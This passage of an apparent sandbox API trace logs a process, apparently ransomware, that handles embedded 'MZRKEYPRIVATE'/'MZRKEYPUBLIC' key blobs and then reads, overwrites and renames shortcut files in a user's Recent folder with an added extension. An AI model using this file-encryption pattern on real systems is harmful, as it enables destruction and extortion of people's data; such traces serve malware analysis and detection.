8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.418] GetCurrentThreadId () returned 0xa30 [0079.418] GetCurrentThreadId () returned 0xa30 [0079.418] GetCurrentThreadId () returned 0xa30 [0079.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.419] GetCurrentThreadId () returned 0xa30 [0079.419] GetCurrentThreadId () returned 0xa30 [0079.419] GetCurrentThreadId () returned 0xa30 [0079.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3a_Ktn--Hmt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3a_ktn--hmt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.419] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.419] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.419] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x14ee [0079.420] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.420] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x14ee, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x14ee, lpOverlapped=0x0) returned 1 [0079.422] CloseHandle (hObject=0x124) returned 1 [0079.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3a_Ktn--Hmt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3a_ktn--hmt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.424] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x14ee, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x14ee, lpOverlapped=0x0) returned 1 [0079.426] CloseHandle (hObject=0x124) returned 1 [0079.427] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3a_Ktn--Hmt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3a_ktn--hmt.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3a_Ktn--Hmt.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3a_ktn--hmt.lnk.zv7un")) returned 1 [0079.428] GetCurrentThreadId () returned 0xa30 [0079.429] GetCurrentThreadId () returned 0xa30 [0079.429] GetCurrentThreadId () returned 0xa30 [0079.429] GetCurrentThreadId () returned 0xa30 [0079.429] GetCurrentThreadId () returned 0xa30 [0079.429] GetCurrentThreadId () returned 0xa30 [0079.429] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1288040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1288040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1288040, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xee8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="4eQFtgvX0bY.lnk", cAlternateFileName="4EQFTG~1.LNK")) returned 1 [0079.429] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.429] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4eQFtgvX0bY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4eqftgvx0by.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1288040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1288040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1288040, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xee8)) returned 1 [0079.429] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4eQFtgvX0bY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4eqftgvx0by.lnk")) returned 0x20 [0079.429] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4eQFtgvX0bY.lnk", dwFileAttributes=0x80) returned 1 [0079.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 